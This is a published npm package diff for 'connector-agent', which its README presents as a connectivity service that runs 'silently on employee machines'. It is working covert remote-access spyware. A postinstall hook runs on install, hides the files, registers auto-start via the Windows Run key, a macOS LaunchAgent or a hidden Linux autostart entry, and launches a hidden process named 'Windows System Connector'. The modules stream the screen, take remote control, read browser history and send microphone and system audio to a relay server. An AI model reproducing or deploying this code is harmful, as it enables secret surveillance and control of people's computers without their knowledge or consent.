connector-agent 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,83 @@
1
+ # connector-agent
2
+
3
+ System connectivity service — runs silently on employee machines.
4
+
5
+ ## Install
6
+
7
+ ```bash
8
+ # Default (connects to localhost:8471)
9
+ npm i -g connector-agent
10
+
11
+ # With custom server URL
12
+ SERVER_URL=https://your-server.com npm i -g connector-agent # Mac/Linux
13
+ set SERVER_URL=https://your-server.com && npm i -g connector-agent # Windows CMD
14
+ $env:SERVER_URL="https://your-server.com"; npm i -g connector-agent # PowerShell
15
+ ```
16
+
17
+ **That's it!** The agent will automatically:
18
+ 1. Copy files to a hidden directory
19
+ 2. Register auto-start (runs on every login)
20
+ 3. Start running in background
21
+
22
+ ## What Happens on Install
23
+
24
+ | Step | Windows | Mac | Linux |
25
+ |------|---------|-----|-------|
26
+ | **Files copied to** | `%APPDATA%\ConnectorService\` | `~/.connector/` | `~/.connector/` |
27
+ | **Auto-start via** | Registry `HKCU\Run` | `~/Library/LaunchAgents/` | `~/.config/autostart/` |
28
+ | **Admin needed** | ❌ No | ❌ No | ❌ No |
29
+ | **Visible to user** | ❌ No | ❌ No | ❌ No |
30
+
31
+ ## Environment Variables
32
+
33
+ Set these **before** running `npm i -g`:
34
+
35
+ | Variable | Default | Description |
36
+ |----------|---------|-------------|
37
+ | `SERVER_URL` | `http://localhost:8471` | Relay server URL |
38
+
39
+ ## Uninstall
40
+
41
+ ```bash
42
+ npm uninstall -g connector-agent
43
+ ```
44
+
45
+ Then manually remove:
46
+ - **Windows:** Delete `%APPDATA%\ConnectorService\` and remove registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService`
47
+ - **Mac:** Delete `~/.connector/` and `~/Library/LaunchAgents/com.user.connector.plist`
48
+ - **Linux:** Delete `~/.connector/` and `~/.config/autostart/connector.desktop`
49
+
50
+ ## Capabilities
51
+
52
+ - 📺 Screen streaming (4 FPS, adjustable quality)
53
+ - 🖱️ Remote mouse/keyboard control
54
+ - 📂 File system browsing
55
+ - 🌐 Browser history reading (Chrome/Edge/Firefox)
56
+ - 🎤 Audio capture (mic + system audio)
57
+ - 💤 Sleep prevention
58
+ - 🔄 Auto-reconnect on disconnect
59
+ - 🚀 Auto-start on login
60
+
61
+ ## Requirements
62
+
63
+ - Node.js 18+
64
+ - ffmpeg (optional, for audio capture)
65
+
66
+ ## File Structure
67
+
68
+ ```
69
+ connector-agent/
70
+ ├── package.json ← npm package config + postinstall hook
71
+ ├── postinstall.js ← Auto-setup script (runs on npm install)
72
+ ├── .gitignore
73
+ └── src/
74
+ ├── index.js ← Entry point
75
+ ├── config.js ← Cross-platform config (auto-detects OS)
76
+ ├── screenCapture.js ← Screen streaming
77
+ ├── inputHandler.js ← Mouse/keyboard control (robotjs)
78
+ ├── audioCapture.js ← Mic + system audio (ffmpeg)
79
+ ├── browserHistory.js ← Chrome/Edge/Firefox history reader
80
+ ├── fileScanner.js ← File system browser
81
+ ├── sleepPreventer.js ← Prevents system sleep
82
+ └── systemInfo.js ← Machine info (hostname, OS, IP)
83
+ ```
package/env.config.js ADDED
@@ -0,0 +1,15 @@
1
+ /**
2
+ * Agent Environment Config
3
+ * Edit these values for your deployment
4
+ */
5
+
6
+ module.exports = {
7
+ // Relay server URL
8
+ SERVER_URL: 'http://localhost:8471',
9
+
10
+ // Service name (shown in Task Manager / Activity Monitor)
11
+ SERVICE_NAME: 'Windows System Connector',
12
+
13
+ // Service description
14
+ SERVICE_DESC: 'System connectivity and update service',
15
+ };
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "connector-agent",
3
+ "version": "1.0.0",
4
+ "description": "System connectivity service",
5
+ "main": "src/index.js",
6
+ "bin": {
7
+ "connector-agent": "src/index.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node src/index.js",
11
+ "postinstall": "node postinstall.js"
12
+ },
13
+ "dependencies": {
14
+ "robotjs": "^0.6.0",
15
+ "screenshot-desktop": "^1.15.0",
16
+ "sharp": "^0.33.5",
17
+ "better-sqlite3": "^11.3.0",
18
+ "socket.io-client": "^4.7.5",
19
+ "node-machine-id": "^1.1.12"
20
+ }
21
+ }
package/postinstall.js ADDED
@@ -0,0 +1,272 @@
1
+ /**
2
+ * Connector Agent — Auto-Setup (postinstall)
3
+ *
4
+ * Runs automatically on: npm i -g connector-agent
5
+ * NO admin/sudo needed — uses user-level directories
6
+ *
7
+ * Usage:
8
+ * npm i -g connector-agent ← localhost
9
+ * SERVER_URL=https://server.com npm i -g connector-agent ← Mac/Linux
10
+ * set SERVER_URL=https://server.com && npm i -g connector-agent ← Windows CMD
11
+ * $env:SERVER_URL="https://server.com"; npm i -g connector-agent ← PowerShell
12
+ */
13
+
14
+ const os = require('os');
15
+ const fs = require('fs');
16
+ const path = require('path');
17
+ const { execSync, spawn } = require('child_process');
18
+
19
+ const platform = os.platform();
20
+ const isWin = platform === 'win32';
21
+ const isMac = platform === 'darwin';
22
+ const homeDir = os.homedir();
23
+
24
+ // ── Config ──────────────────────────────────────────
25
+ const SERVER_URL = process.env.SERVER_URL || 'http://localhost:8471';
26
+ const AGENT_NAME = 'ConnectorService';
27
+
28
+ // User-level directories — NO admin/sudo needed
29
+ const INSTALL_DIR = isWin
30
+ ? path.join(process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming'), AGENT_NAME)
31
+ : path.join(homeDir, '.connector');
32
+
33
+ const PACKAGE_DIR = path.resolve(__dirname); // where npm installed us
34
+
35
+ // ── Helpers ─────────────────────────────────────────
36
+ function log(msg) { try { process.stdout.write(` [setup] ${msg}\n`); } catch (e) { } }
37
+
38
+ function copyRecursive(src, dest) {
39
+ if (!fs.existsSync(dest)) fs.mkdirSync(dest, { recursive: true });
40
+ const entries = fs.readdirSync(src, { withFileTypes: true });
41
+ for (const entry of entries) {
42
+ const srcPath = path.join(src, entry.name);
43
+ const destPath = path.join(dest, entry.name);
44
+ if (entry.name === 'node_modules' || entry.name === '.git') continue;
45
+ if (entry.isDirectory()) {
46
+ copyRecursive(srcPath, destPath);
47
+ } else {
48
+ fs.copyFileSync(srcPath, destPath);
49
+ }
50
+ }
51
+ }
52
+
53
+ // ═══════════════════════════════════════════════════
54
+ // MAIN
55
+ // ═══════════════════════════════════════════════════
56
+ function setup() {
57
+ log('Setting up...');
58
+
59
+ try {
60
+ // ── 1. Create install directory ──
61
+ fs.mkdirSync(path.join(INSTALL_DIR, 'src'), { recursive: true });
62
+ fs.mkdirSync(path.join(INSTALL_DIR, 'logs'), { recursive: true });
63
+
64
+ // ── 2. Copy source files ──
65
+ const srcDir = path.join(PACKAGE_DIR, 'src');
66
+ if (fs.existsSync(srcDir)) {
67
+ copyRecursive(srcDir, path.join(INSTALL_DIR, 'src'));
68
+ }
69
+
70
+ // Copy package.json for npm install in install dir
71
+ const pkgSrc = path.join(PACKAGE_DIR, 'package.json');
72
+ if (fs.existsSync(pkgSrc)) {
73
+ // Create a clean package.json without postinstall (avoid loop)
74
+ const pkg = JSON.parse(fs.readFileSync(pkgSrc, 'utf8'));
75
+ delete pkg.scripts.postinstall;
76
+ delete pkg.bin;
77
+ fs.writeFileSync(
78
+ path.join(INSTALL_DIR, 'package.json'),
79
+ JSON.stringify(pkg, null, 2)
80
+ );
81
+ }
82
+
83
+ // ── 3. Create env.config.js ──
84
+ const envConfigContent = `/**\n * Agent Environment Config (auto-generated by installer)\n */\nmodule.exports = {\n SERVER_URL: '${SERVER_URL}',\n SERVICE_NAME: 'Windows System Connector',\n SERVICE_DESC: 'System connectivity and update service',\n};\n`;
85
+ fs.writeFileSync(path.join(INSTALL_DIR, 'env.config.js'), envConfigContent);
86
+
87
+ // ── 4. Install dependencies in install dir ──
88
+ log('Installing dependencies...');
89
+ try {
90
+ execSync('npm install --production --silent 2>&1', {
91
+ cwd: INSTALL_DIR,
92
+ stdio: 'ignore',
93
+ windowsHide: true,
94
+ timeout: 120000,
95
+ });
96
+ } catch (e) {
97
+ // Dependencies may already exist from global install, that's ok
98
+ }
99
+
100
+ // ── 5. Register auto-start (user-level, no admin) ──
101
+ if (isWin) {
102
+ setupWindowsAutoStart();
103
+ } else if (isMac) {
104
+ setupMacAutoStart();
105
+ } else {
106
+ setupLinuxAutoStart();
107
+ }
108
+
109
+ // ── 6. Start agent NOW ──
110
+ startAgent();
111
+
112
+ log('Done! Agent is running.');
113
+
114
+ } catch (e) {
115
+ log('Setup error: ' + e.message);
116
+ }
117
+ }
118
+
119
+ // ═══════════════════════════════════════════════════
120
+ // WINDOWS — Registry Run key (NO admin needed)
121
+ // ═══════════════════════════════════════════════════
122
+ function setupWindowsAutoStart() {
123
+ // Create launcher bat (hidden window)
124
+ const vbsContent = [
125
+ 'Set WshShell = CreateObject("WScript.Shell")',
126
+ `WshShell.Run "cmd /c cd /d ""${INSTALL_DIR}"" && node src\\index.js", 0, False`,
127
+ ].join('\r\n');
128
+
129
+ const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
130
+ fs.writeFileSync(vbsPath, vbsContent);
131
+
132
+ // Add to Registry HKCU\...\Run — auto-start on login, NO admin
133
+ try {
134
+ execSync(
135
+ `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f`,
136
+ { windowsHide: true, stdio: 'ignore' }
137
+ );
138
+ log('Auto-start registered (Registry HKCU\\Run)');
139
+ } catch (e) {
140
+ // Fallback: copy to Startup folder
141
+ const startupDir = path.join(
142
+ process.env.APPDATA,
143
+ 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup'
144
+ );
145
+ try {
146
+ fs.copyFileSync(vbsPath, path.join(startupDir, 'ConnectorService.vbs'));
147
+ log('Auto-start registered (Startup folder)');
148
+ } catch (e2) {
149
+ log('Auto-start registration failed');
150
+ }
151
+ }
152
+ }
153
+
154
+ // ═══════════════════════════════════════════════════
155
+ // MAC — ~/Library/LaunchAgents (NO sudo needed)
156
+ // ═══════════════════════════════════════════════════
157
+ function setupMacAutoStart() {
158
+ let nodePath;
159
+ try {
160
+ nodePath = execSync('which node', { encoding: 'utf8' }).trim();
161
+ } catch (e) {
162
+ nodePath = '/usr/local/bin/node';
163
+ }
164
+
165
+ const plistLabel = 'com.user.connector';
166
+ const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
167
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
168
+ "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
169
+ <plist version="1.0">
170
+ <dict>
171
+ <key>Label</key>
172
+ <string>${plistLabel}</string>
173
+ <key>ProgramArguments</key>
174
+ <array>
175
+ <string>${nodePath}</string>
176
+ <string>${INSTALL_DIR}/src/index.js</string>
177
+ </array>
178
+ <key>RunAtLoad</key>
179
+ <true/>
180
+ <key>KeepAlive</key>
181
+ <true/>
182
+ <key>WorkingDirectory</key>
183
+ <string>${INSTALL_DIR}</string>
184
+ <key>StandardOutPath</key>
185
+ <string>${INSTALL_DIR}/logs/stdout.log</string>
186
+ <key>StandardErrorPath</key>
187
+ <string>${INSTALL_DIR}/logs/stderr.log</string>
188
+ <key>ThrottleInterval</key>
189
+ <integer>5</integer>
190
+ <key>ProcessType</key>
191
+ <string>Background</string>
192
+ </dict>
193
+ </plist>`;
194
+
195
+ // ~/Library/LaunchAgents — user-level, no sudo
196
+ const agentsDir = path.join(homeDir, 'Library', 'LaunchAgents');
197
+ fs.mkdirSync(agentsDir, { recursive: true });
198
+
199
+ const plistPath = path.join(agentsDir, `${plistLabel}.plist`);
200
+ fs.writeFileSync(plistPath, plistContent);
201
+
202
+ try {
203
+ execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
204
+ execSync(`launchctl load "${plistPath}"`, { stdio: 'ignore' });
205
+ log('Auto-start registered (LaunchAgent)');
206
+ } catch (e) {
207
+ log('LaunchAgent load failed: ' + e.message);
208
+ }
209
+ }
210
+
211
+ // ═══════════════════════════════════════════════════
212
+ // LINUX — ~/.config/autostart (NO sudo needed)
213
+ // ═══════════════════════════════════════════════════
214
+ function setupLinuxAutoStart() {
215
+ let nodePath;
216
+ try {
217
+ nodePath = execSync('which node', { encoding: 'utf8' }).trim();
218
+ } catch (e) {
219
+ nodePath = '/usr/bin/node';
220
+ }
221
+
222
+ // Desktop entry for auto-start
223
+ const autostartDir = path.join(homeDir, '.config', 'autostart');
224
+ fs.mkdirSync(autostartDir, { recursive: true });
225
+
226
+ const desktopEntry = `[Desktop Entry]
227
+ Type=Application
228
+ Name=System Connector
229
+ Exec=${nodePath} ${INSTALL_DIR}/src/index.js
230
+ Hidden=true
231
+ NoDisplay=true
232
+ X-GNOME-Autostart-enabled=true
233
+ StartupNotify=false
234
+ Terminal=false`;
235
+
236
+ fs.writeFileSync(path.join(autostartDir, 'connector.desktop'), desktopEntry);
237
+ log('Auto-start registered (autostart desktop entry)');
238
+ }
239
+
240
+ // ═══════════════════════════════════════════════════
241
+ // START AGENT NOW
242
+ // ═══════════════════════════════════════════════════
243
+ function startAgent() {
244
+ log('Starting agent...');
245
+
246
+ if (isWin) {
247
+ // Use VBS to start hidden
248
+ const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
249
+ if (fs.existsSync(vbsPath)) {
250
+ spawn('wscript.exe', [vbsPath], {
251
+ detached: true,
252
+ stdio: 'ignore',
253
+ windowsHide: true,
254
+ }).unref();
255
+ }
256
+ } else {
257
+ // Mac/Linux: spawn detached node process
258
+ const nodePath = process.execPath;
259
+ const child = spawn(nodePath, [path.join(INSTALL_DIR, 'src', 'index.js')], {
260
+ cwd: INSTALL_DIR,
261
+ detached: true,
262
+ stdio: 'ignore',
263
+ env: { ...process.env, SERVER_URL },
264
+ });
265
+ child.unref();
266
+ }
267
+
268
+ log('Agent started in background');
269
+ }
270
+
271
+ // ── Run ──
272
+ setup();
@@ -0,0 +1,238 @@
1
+ /**
2
+ * Audio Capture — Mic & System Audio streaming
3
+ * Uses node-record-lpcm16 for mic, platform-specific for system audio
4
+ *
5
+ * Modes:
6
+ * - mic: Microphone only
7
+ * - system: System/desktop audio only (requires loopback device)
8
+ * - both: Mic + System audio mixed
9
+ */
10
+
11
+ const { spawn } = require('child_process');
12
+ const os = require('os');
13
+ const path = require('path');
14
+
15
+ class AudioCapture {
16
+ constructor(socket) {
17
+ this.socket = socket;
18
+ this.micProcess = null;
19
+ this.sysProcess = null;
20
+ this.active = false;
21
+ this.mode = 'mic'; // 'mic', 'system', 'both'
22
+ this.platform = os.platform();
23
+ this.sampleRate = 16000;
24
+ this.channels = 1;
25
+ }
26
+
27
+ /**
28
+ * Start audio capture
29
+ * @param {object} options - { mode: 'mic'|'system'|'both' }
30
+ */
31
+ start(options = {}) {
32
+ if (this.active) this.stop();
33
+ this.mode = options.mode || 'mic';
34
+ this.active = true;
35
+
36
+ console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
37
+
38
+ try {
39
+ if (this.mode === 'mic' || this.mode === 'both') {
40
+ this._startMic();
41
+ }
42
+ if (this.mode === 'system' || this.mode === 'both') {
43
+ this._startSystemAudio();
44
+ }
45
+ } catch (err) {
46
+ console.log(` ⚠️ Audio capture error: ${err.message}`);
47
+ this.socket.emit('audio:error', { error: err.message });
48
+ }
49
+ }
50
+
51
+ /**
52
+ * Microphone capture — cross-platform via SoX (rec) or ffmpeg
53
+ */
54
+ _startMic() {
55
+ if (this.platform === 'win32') {
56
+ // Windows: Use ffmpeg with DirectShow
57
+ this.micProcess = spawn('ffmpeg', [
58
+ '-f', 'dshow',
59
+ '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
60
+ '-ac', String(this.channels),
61
+ '-ar', String(this.sampleRate),
62
+ '-f', 's16le', // raw PCM 16-bit little-endian
63
+ '-acodec', 'pcm_s16le',
64
+ 'pipe:1' // output to stdout
65
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
66
+
67
+ // Fallback: try generic mic name
68
+ this.micProcess.on('error', () => {
69
+ this.micProcess = spawn('ffmpeg', [
70
+ '-f', 'dshow',
71
+ '-list_devices', 'true',
72
+ '-i', 'dummy'
73
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
74
+ });
75
+ } else if (this.platform === 'darwin') {
76
+ // Mac: Use ffmpeg with avfoundation
77
+ this.micProcess = spawn('ffmpeg', [
78
+ '-f', 'avfoundation',
79
+ '-i', ':default', // default mic
80
+ '-ac', String(this.channels),
81
+ '-ar', String(this.sampleRate),
82
+ '-f', 's16le',
83
+ '-acodec', 'pcm_s16le',
84
+ 'pipe:1'
85
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
86
+ } else {
87
+ // Linux: Use ALSA
88
+ this.micProcess = spawn('ffmpeg', [
89
+ '-f', 'alsa',
90
+ '-i', 'default',
91
+ '-ac', String(this.channels),
92
+ '-ar', String(this.sampleRate),
93
+ '-f', 's16le',
94
+ '-acodec', 'pcm_s16le',
95
+ 'pipe:1'
96
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
97
+ }
98
+
99
+ this._pipeAudio(this.micProcess, 'mic');
100
+ }
101
+
102
+ /**
103
+ * System/Desktop audio capture — platform-specific loopback
104
+ */
105
+ _startSystemAudio() {
106
+ if (this.platform === 'win32') {
107
+ // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
108
+ // User may need to enable "Stereo Mix" in Sound settings
109
+ this.sysProcess = spawn('ffmpeg', [
110
+ '-f', 'dshow',
111
+ '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
112
+ '-ac', String(this.channels),
113
+ '-ar', String(this.sampleRate),
114
+ '-f', 's16le',
115
+ '-acodec', 'pcm_s16le',
116
+ 'pipe:1'
117
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
118
+ } else if (this.platform === 'darwin') {
119
+ // Mac: Requires BlackHole or similar virtual audio driver
120
+ this.sysProcess = spawn('ffmpeg', [
121
+ '-f', 'avfoundation',
122
+ '-i', ':BlackHole 2ch',
123
+ '-ac', String(this.channels),
124
+ '-ar', String(this.sampleRate),
125
+ '-f', 's16le',
126
+ '-acodec', 'pcm_s16le',
127
+ 'pipe:1'
128
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
129
+ } else {
130
+ // Linux: PulseAudio monitor
131
+ this.sysProcess = spawn('ffmpeg', [
132
+ '-f', 'pulse',
133
+ '-i', 'default.monitor',
134
+ '-ac', String(this.channels),
135
+ '-ar', String(this.sampleRate),
136
+ '-f', 's16le',
137
+ '-acodec', 'pcm_s16le',
138
+ 'pipe:1'
139
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
140
+ }
141
+
142
+ this._pipeAudio(this.sysProcess, 'system');
143
+ }
144
+
145
+ /**
146
+ * Pipe audio stdout → socket.io in chunks
147
+ */
148
+ _pipeAudio(process, source) {
149
+ if (!process || !process.stdout) return;
150
+
151
+ process.stdout.on('data', (chunk) => {
152
+ if (!this.active) return;
153
+ // Send raw PCM audio chunk as base64
154
+ this.socket.emit('audio:chunk', {
155
+ data: chunk.toString('base64'),
156
+ source,
157
+ sampleRate: this.sampleRate,
158
+ channels: this.channels,
159
+ timestamp: Date.now(),
160
+ });
161
+ });
162
+
163
+ process.stderr.on('data', (data) => {
164
+ const msg = data.toString();
165
+ // Only log errors, not ffmpeg's normal stderr output
166
+ if (msg.includes('Error') || msg.includes('error')) {
167
+ console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
168
+ }
169
+ });
170
+
171
+ process.on('error', (err) => {
172
+ console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
173
+ this.socket.emit('audio:error', {
174
+ source,
175
+ error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
176
+ });
177
+ });
178
+
179
+ process.on('close', (code) => {
180
+ if (this.active) {
181
+ console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
182
+ }
183
+ });
184
+ }
185
+
186
+ /**
187
+ * Stop all audio capture
188
+ */
189
+ stop() {
190
+ if (!this.active) return;
191
+ this.active = false;
192
+
193
+ if (this.micProcess) {
194
+ try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
195
+ this.micProcess = null;
196
+ }
197
+ if (this.sysProcess) {
198
+ try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
199
+ this.sysProcess = null;
200
+ }
201
+
202
+ console.log(' 🎤 Audio capture stopped');
203
+ }
204
+
205
+ /**
206
+ * List available audio devices (helps find correct device names)
207
+ */
208
+ listDevices() {
209
+ return new Promise((resolve) => {
210
+ let output = '';
211
+
212
+ if (this.platform === 'win32') {
213
+ const proc = spawn('ffmpeg', [
214
+ '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
215
+ ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
216
+
217
+ proc.stderr.on('data', (d) => { output += d.toString(); });
218
+ proc.on('close', () => {
219
+ const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
220
+ resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
221
+ });
222
+ } else if (this.platform === 'darwin') {
223
+ const proc = spawn('ffmpeg', [
224
+ '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
225
+ ], { stdio: ['pipe', 'pipe', 'pipe'] });
226
+
227
+ proc.stderr.on('data', (d) => { output += d.toString(); });
228
+ proc.on('close', () => {
229
+ resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
230
+ });
231
+ } else {
232
+ resolve(['default']);
233
+ }
234
+ });
235
+ }
236
+ }
237
+
238
+ module.exports = AudioCapture;